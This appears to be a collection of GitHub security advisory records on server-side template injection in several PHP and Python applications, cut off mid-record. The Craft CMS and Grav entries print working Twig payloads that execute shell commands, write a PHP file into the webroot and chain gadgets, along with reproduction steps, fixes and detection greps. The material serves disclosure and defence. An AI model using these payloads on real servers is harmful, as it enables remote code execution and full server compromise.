{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.8.7"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-22",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:30:36Z",
    "nvd_published_at": "2026-03-04T17:16:20Z",
    "severity": "MODERATE"
  },
  "details": "There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the `create()` Twig function combined with a Symfony Process gadget chain.\n\nThis bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7).\n\n## Required Permissions\n\n- Administrator permissions or access to System Messages utility\n- `allowAdminChanges` enabled in production ([against our security recommendations](https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production))  or access to System Messages utility\n\n## Vulnerability Details\nThe `create()` Twig function exposes `Craft::createObject()`, which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled `symfony/process` dependency, this enables RCE.\n\n## Attack Vector\nAdmin panel \u2192 Settings \u2192 Entry Types \u2192 Title Format field\n\n## Proof of Concept Payload\n\n```\n{% set p = create(\"Symfony\\\\Component\\\\Process\\\\Process\", [[\"id\"]])\n%}{{ p.mustRun.getOutput }}\n```\n\n## Steps to Reproduce\n1. Log in as admin\n2. Navigate to Settings \u2192 Entry Types\n3. Edit any entry type\u2019s \"Title Format\" field\n4. Insert the payload above\n5. Create/edit an entry of that type\n6. Command executes, output appears in entry title\n\n## Impact\n- Authenticated Remote Code Execution\n- Runs as web server user (root in default Docker setup)\n- Full server compromise\n\n## Root Cause\nCraft::createObject() allows the instantiation of any class, including\n`Symfony\\Component\\Process\\Process`, which executes shell commands.\n\n## Suggested Fix\n\n- Blocklist dangerous classes in createObject() when called from Twig\n- Or remove/restrict the create() Twig function\n- Or validate class names against an allowlist\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/e31e50849ad71638e11ea55fbd1ed90ae8f8f6e0",
  "id": "GHSA-94rc-cqvm-m4pw",
  "modified": "2026-03-04T18:38:42Z",
  "published": "2026-03-03T20:30:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-94rc-cqvm-m4pw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/e31e50849ad71638e11ea55fbd1ed90ae8f8f6e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Vulnerable to Authenticated RCE via Twig SSTI - create() function + Symfony Process gadget"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-26938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T19:32:39Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) exists in Workflows in Kibana which could allow an attacker to read arbitrary files from the Kibana server filesystem, and perform Server-Side Request Forgery (SSRF) via Code Injection (CAPEC-242). This requires an authenticated user who has the workflowsManagement:executeWorkflow privilege.",
  "id": "GHSA-9674-77c9-4xpr",
  "modified": "2026-02-26T21:31:31Z",
  "published": "2026-02-26T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26938"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-9-3-1-security-update-esa-2026-17/385253"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-47916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-16T15:15:48Z",
    "severity": "CRITICAL"
  },
  "details": "Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (file: /applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method; hence it is evaluated by the template engine. Accordingly, this can be exploited by unauthenticated attackers to inject and execute arbitrary PHP code by providing crafted template strings.",
  "id": "GHSA-96q3-fjrx-h9hh",
  "modified": "2025-05-17T06:30:27Z",
  "published": "2025-05-16T18:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47916"
    },
    {
      "type": "WEB",
      "url": "https://invisioncommunity.com/release-notes-v5/507-r41"
    },
    {
      "type": "WEB",
      "url": "https://karmainsecurity.com/KIS-2025-02"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/May/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-16T19:36:39Z",
    "nvd_published_at": "2023-06-14T22:15:09Z",
    "severity": "HIGH"
  },
  "details": "Hi,\n\nactually we have sent the bug report to [security@getgrav.org](mailto:security@getgrav.org) on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter\n\n## Summary:  \n| **Product**             | Grav CMS                                      |\n| ----------------------- | --------------------------------------------- |\n| **Vendor**              | Grav                                          |\n| **Severity**            | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |\n| **Affected Versions**   | \u003c= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions**     | v1.7.40                                       |\n| **Internal Identifier** | STAR-2023-0007                                |\n| **CVE Identifier**      | TBD                                           |\n| **CWE(s)**              | CWE-20: Improper Input Validation, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System:  \n**Base Score:** 7.2 (High)  \n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`  \n| **Metric**                   | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)**       | Network   |\n| **Attack Complexity (AC)**   | Low       |\n| **Privileges Required (PR)** | High      |\n| **User Interaction (UI)**    | None      |\n| **Scope (S)**                | Unchanged |\n| **Confidentiality \\(C)**     | High      |\n| **Integrity (I)**            | High      |\n| **Availability (A)**         | High      |\n\n## Product Overview:  \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary:  \nThere is a logic flaw in the `GravExtension.filterFilter()` function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.\n\n## Vulnerability Details:  \nThe vulnerability can be found in the `GravExtension.filterFilter()` function declared in [`/system/src/Grav/Common/Twig/Extension/GravExtension.php`](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Twig/Extension/GravExtension.php#L1692-L1698):\n~~~php\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n    ...\n    \n    /**\n     * Return a list of all filters.\n     *\n     * @return array\n     */\n    public function getFilters(): array\n    {\n        return [\n            ...\n            \n            // Security fix\n            new TwigFilter(\u0027filter\u0027, [$this, \u0027filterFilter\u0027], [\u0027needs_environment\u0027 =\u003e true]),\n        ];\n    }\n\n    ...\n\n    /**\n     * @param Environment $env\n     * @param array $array\n     * @param callable|string $arrow\n     * @return array|CallbackFilterIterator\n     * @throws RuntimeError\n     */\n    function filterFilter(Environment $env, $array, $arrow)\n    {\n        if (is_string($arrow) \u0026\u0026 Utils::isDangerousFunction($arrow)) { // [1]\n            throw new RuntimeError(\u0027Twig |filter(\"\u0027 . $arrow . \u0027\") is not allowed.\u0027);\n        }\n\n        return \\twig_array_filter($env, $array, $arrow); // [2]\n    }\n}\n~~~\n\nAt [1], the `$arrow` parameter contains the argument supplied to the filter. For example, it may refer to `\"funcname\"` in `{{ array|filter(\"funcname\") }}` or the closure (a.k.a. arrow function) `el =\u003e el != \u0027exclude\u0027` in `{{ array|filter(el =\u003e el != \u0027exclude\u0027) }}`. Observe that `Utils::isDangerousFunction($arrow)` is only invoked if `$arrow` is a string. As such, non-string arguments may be passed to `twig_array_filter()` at [2] due to the absence of type enforcement at [1].\n\nThe implementation of the `twig_array_filter()` function can be found in [/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/v1.44.7/src/Extension/CoreExtension.php) within Twig\u0027s codebase:\n~~~php\nfunction twig_array_filter(Environment $env, $array, $arrow)\n{\n    if (!twig_test_iterable($array)) {\n        throw new RuntimeError(sprintf(\u0027The \"filter\" filter expects an array or \"Traversable\", got \"%s\".\u0027, \\is_object($array) ? \\get_class($array) : \\gettype($array)));\n    }\n\n    if (!$arrow instanceof Closure \u0026\u0026 $env-\u003ehasExtension(\u0027\\Twig\\Extension\\SandboxExtension\u0027) \u0026\u0026 $env-\u003egetExtension(\u0027\\Twig\\Extension\\SandboxExtension\u0027)-\u003eisSandboxed()) { // [3]\n        throw new RuntimeError(\u0027The callable passed to \"filter\" filter must be a Closure in sandbox mode.\u0027);\n    }\n\n    if (\\is_array($array)) {\n        if (\\PHP_VERSION_ID \u003e= 50600) {\n            return array_filter($array, $arrow, \\ARRAY_FILTER_USE_BOTH); // [4]\n        }\n\n        return array_filter($array, $arrow);\n    }\n\n    // the IteratorIterator wrapping is needed as some internal PHP classes are \\Traversable but do not implement \\Iterator\n    return new \\CallbackFilterIterator(new \\IteratorIterator($array), $arrow);\n}\n~~~\n\nAt [3], a runtime error is thrown if `$arrow` is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when `$arrow` is not a closure. Subsequently at [4], `array_filter()` is invoked with the user-controlled `$array` input and `$arrow` parameter.\n\nNote that the method signature of `array_filter()` is as follows:\n~~~php\narray_filter(array $array, ?callable $callback = null, int $mode = 0): array\n~~~\n\nA common mistake that developers make is assuming that the `callable` type refers to a `string` type. This is untrue, and it is [well documented in the PHP Manual](https://www.php.net/manual/en/language.types.callable.php):\n\u003e A method of an instantiated object is passed as an **array containing an object at index 0 and the method name at index 1**. Accessing protected and private methods from within a class is allowed.\n\u003e Static class methods can also be passed without instantiating an object of that class by either, **passing the class name instead of an object at index 0, or passing `ClassName::methodName`**.\n\nThis means that all of the following method calls are valid:\n~~~php\n// Type 1: Simple callback -- invokes system(\"id\")\narray_filter(array(\"id\"), \"system\");\n\n// Type 2: Static class method call -- invokes Class::staticMethod($arg)\narray_filter(array($arg), array(\"Class\", \"staticMethod\"));\narray_filter(array($arg), array(\"Class::staticMethod\")); // same as above\n\n// Type 3: Object method call -- invokes $obj-\u003emethod($arg)\narray_filter(array($arg), array($obj, \"method\"));\n~~~\n\nGoing back to [1], if `$arrow` is an `array` instead of a `string` or `closure`, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav\u0027s codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:\n~~~twig\n// Gadget 1: Using \\Grav\\Common\\Utils::arrayFilterRecursive() within Grav\u0027s codebase to invoke system(\"id\"):\n{% set id = {\u0027id\u0027: 0} %}\n{{ {\u0027system\u0027: id} | filter(\u0027\\\\Grav\\\\Common\\\\Utils\u0027, \u0027arrayFilterRecursive\u0027) }}\n\n// Gadget 2: Using \\Symfony\\Component\\VarDumper\\Vardumper::setHandler() and \\Symfony\\Component\\VarDumper\\Vardumper::dump() to invoke system(\"id\"):\n{{ [\u0027system\u0027] | filter([\u0027\\\\Symfony\\\\Component\\\\VarDumper\\\\VarDumper\u0027, \u0027setHandler\u0027])}}\n{{ [\u0027id\u0027] | filter([\u0027\\\\Symfony\\\\Component\\\\VarDumper\\\\VarDumper\u0027, \u0027dump\u0027]) }}\n\n// Gadget 3: Using \\RocketTheme\\Toolbox\\File\\File::instance() in Grav\u0027s default theme to perform arbitrary file write to rce.php in the webroot:\n{{ ([\u0027rce.php\u0027] | map([\u0027\\\\RocketTheme\\\\Toolbox\\\\File\\\\File\u0027, \u0027instance\u0027]))[0].save(\u0027\u003c?php echo phpinfo(); \u0027) }}\n\n// Gadget 4: Using \\Symfony\\Component\\Process\\Process::fromShellCommandline() to invoke system(\"id\"):\n{{ {\u0027/\u0027:\u0027sleep 3\u0027} | map([\u0027\\\\Symfony\\\\Component\\\\Process\\\\Process\u0027, \u0027fromShellCommandline\u0027]) | map(e =\u003e e.run()) | print_r }}\n~~~\n\n## Exploit Conditions:    \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrator, user account that are granted the following permissions:\n    - login access to Grav admin panel, and\n    - page creation or update rights\n\n## Reproduction Steps:  \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts \u003e Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n    * Login to Admin - Allowed\n    * Page Update - Allowed\n3. Log out of Grav Admin, and log back in using the account created in step 2.\n4. Navigate to `http://\u003cgrav_installation\u003e/admin/pages/home`.\n5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n6. Under the `Content` tab, insert the following payload within the editor:\n   ~~~twig\n   // Gadget 1: Using \\Grav\\Common\\Utils::arrayFilterRecursive() within Grav\u0027s codebase to invoke system(\"id\"):\n   {% set id = {\u0027id\u0027: 0} %}\n   {{ {\u0027system\u0027: id} | filter(\u0027\\\\Grav\\\\Common\\\\Utils\u0027, \u0027arrayFilterRecursive\u0027) }}\n   ~~~\n7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations:  \nPatch the logic flaw in the `GravExtension.filterFilter()` function declared in `/system/src/Grav/Common/Twig/Extension/GravExtension.php` to ensure that the `$arrow` paramater passed to the `filterFilter()` function must either be a `string` or an arrow function as such:\n~~~diff php\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n    ...\n\n    /**\n     * @param Environment $env\n     * @param array $array\n     * @param callable|string $arrow\n     * @return array|CallbackFilterIterator\n     * @throws RuntimeError\n     */\n    function filterFilter(Environment $env, $array, $arrow)\n    {\n-       if (is_string($arrow) \u0026\u0026 Utils::isDangerousFunction($arrow)) {\n+       if (!$arrow instanceof Closure \u0026\u0026 !is_string($arrow) || Utils::isDangerousFunction($arrow)) {\n            throw new RuntimeError(\u0027Twig |filter(\"\u0027 . $arrow . \u0027\") is not allowed.\u0027);\n        }\n\n        return \\twig_array_filter($env, $array, $arrow);\n    }\n}\n~~~\n\n`Utils::isDangerousFunction()` in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to prevent static class methods from being invoked. For example,\n~~~diff php\n...\nabstract class Utils\n{\n    ...\n    /**\n     * @param string $name\n     * @return bool\n     */\n    public static function isDangerousFunction(string $name): bool\n    {\n        ...\n\n+       if (is_array($name) || strpos($name, \":\") !== false) {\n+           return false;\n+       }\n\n        if (in_array($name, $commandExecutionFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $codeExecutionFunctions)) {\n            return true;\n        }\n\n        if (isset($callbackFunctions[$name])) {\n            return true;\n        }\n\n        if (in_array($name, $informationDiscosureFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $otherFunctions)) {\n            return true;\n        }\n\n        return static::isFilesystemFunction($name);\n    }\n    ...\n}\n~~~\n\nEnd users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.\n\n## Detection Guidance:  \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command:  \n   `grep -Priz -e \u0027\\|\\s*(filter|map|reduce)\\s*\\(\u0027 /path/to/webroot/user/pages/`\n2. Searching within Doctrine cache data using the following shell command:  \n   `grep -Priz -e \u0027\\|\\s*(filter|map|reduce)\\s*\\(\u0027  --include \u0027*.doctrinecache.data\u0027 /path/to/webroot/cache/`\n3. Searching within Twig cache using the following shell command:  \n   `grep -Priz -e \u0027twig_array_(filter|map|reduce)\u0027 /path/to/webroot/cache/twig/`\n4. Searching within compiled Twig template files using the following shell command:  \n   `grep -Priz -e \u0027\\|\\s*(filter|map|reduce)\\s*\\(\u0027 /path/to/webroot/cache/compiled/files/`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits:  \nNgo Wei Lin ([@Creastery](https://twitter.com/Creastery)) \u0026 Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))\n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:  \n1. **CVE-2023-30595**\n    Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `GravExtension.filterFilter()` and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.",
  "id": "GHSA-96xv-rmwj-6p9w",
  "modified": "2023-06-16T19:36:39Z",
  "published": "2023-06-16T19:36:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-96xv-rmwj-6p9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Twig/Extension/GravExtension.php#L1692-L1698"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav Server-side Template Injection (SSTI) via Twig Default Filters"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-44916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-08T07:16:29Z",
    "severity": "LOW"
  },
  "details": "In OpenStack Ironic through 35.x, instance_info[\u0027ks_template\u0027] is rendered without sandboxing.",
  "id": "GHSA-979m-gf7m-rg53",
  "modified": "2026-05-20T18:31:30Z",
  "published": "2026-05-08T09:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44916"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ironic/+bug/2148307"
    },
    {
      "type": "WEB",
      "url": "https://security.openstack.org/ossa/OSSA-2026-012.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/11/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.4.13"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "mautic/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mautic/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mautic/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mautic/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-9558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:48:08Z",
    "nvd_published_at": "2026-05-29T11:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Mautic\u0027s theme engine. The platform renders uploaded Twig templates without a sandbox or strict function restrictions. Authenticated users with permissions to create or upload themes can abuse this to execute arbitrary code.\n\n### Impact\nAn authenticated user with theme upload and creation privileges can bypass boundaries to execute arbitrary system commands on the hosting server (Remote Code Execution) or access restricted system files and configuration settings.\n\n### Patched Versions\nThis security issue has been addressed in the following releases:\n* **7.1.2**\n* **6.0.9**\n* **5.2.11**\n\nFor users on Mautic 4.x, this fix is available in:\n* **4.4.20** via [ELTS](https://mautic.org/extended-long-term-support-elts/)\n\nMautic strongly recommend upgrading to a patched version immediately.\n\n### Workarounds\nThere are no official workarounds. To mitigate this vulnerability without upgrading, restrict theme upload and creation permissions (`core:themes:create`) to only highly trusted administrators.",
  "id": "GHSA-9fx4-7cmj-47vg",
  "modified": "2026-07-02T19:48:08Z",
  "published": "2026-07-02T19:48:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mautic/mautic/security/advisories/GHSA-9fx4-7cmj-47vg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9558"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mautic/mautic"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mautic has Server-Side Template Injection (SSTI) in Theme Templates"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T21:56:00Z",
    "nvd_published_at": "2026-01-02T21:16:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSSTI is possible in Bagisto via type parameter can lead to RCE and other exploitations.\n\n### Details\n1. Go to `http://127.0.0.1:8000/admin/reporting/products/view?type={{7*7}}`\n\n\u003cimg width=\"1251\" height=\"282\" alt=\"image\" src=\"https://github.com/user-attachments/assets/652e96f4-631e-4322-8561-63f4d897a480\" /\u003e\n\n\n### Impact\nCan lead to RCE, command injection.",
  "id": "GHSA-9hvg-qw5q-wqwp",
  "modified": "2026-01-02T21:56:00Z",
  "published": "2026-01-02T21:56:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-9hvg-qw5q-wqwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/commit/3f294b4837595929107d9c1bbd6d5b1222ef9fea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto SSTI vulnerability in type parameter can lead to RCE"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "psiTurk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-4315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-31T22:53:23Z",
    "nvd_published_at": "2023-01-28T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been found in NYUCCL psiTurk up to 3.2.0 and classified as critical. This vulnerability affects unknown code of the file psiturk/experiment.py. The manipulation of the argument mode leads to improper neutralization of special elements used in a template engine. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.1 is able to address this issue. The name of the patch is 47787e15cecd66f2aa87687bf852ae0194a4335f. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-219676.",
  "id": "GHSA-9mq4-9556-6qxq",
  "modified": "2024-10-18T22:01:45Z",
  "published": "2023-01-29T00:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NYUCCL/psiTurk/pull/517"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NYUCCL/psiTurk/commit/47787e15cecd66f2aa87687bf852ae0194a4335f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NYUCCL/psiTurk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NYUCCL/psiTurk/releases/tag/v3.2.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/psiturk/PYSEC-2023-43.yaml"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.219676"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.219676"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NYUCCL psiTurk IS vulnerable to Improper Neutralization of Special Elements"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-12583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-04T09:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "The Dynamics 365 Integration plugin for WordPress is vulnerable to Remote Code Execution and Arbitrary File Read in all versions up to, and including, 1.3.23 via Twig Server-Side Template Injection. This is due to missing input validation and sanitization on the render function. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.",
  "id": "GHSA-9rfw-73px-x52v",
  "modified": "2025-01-04T09:35:20Z",
  "published": "2025-01-04T09:35:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12583"
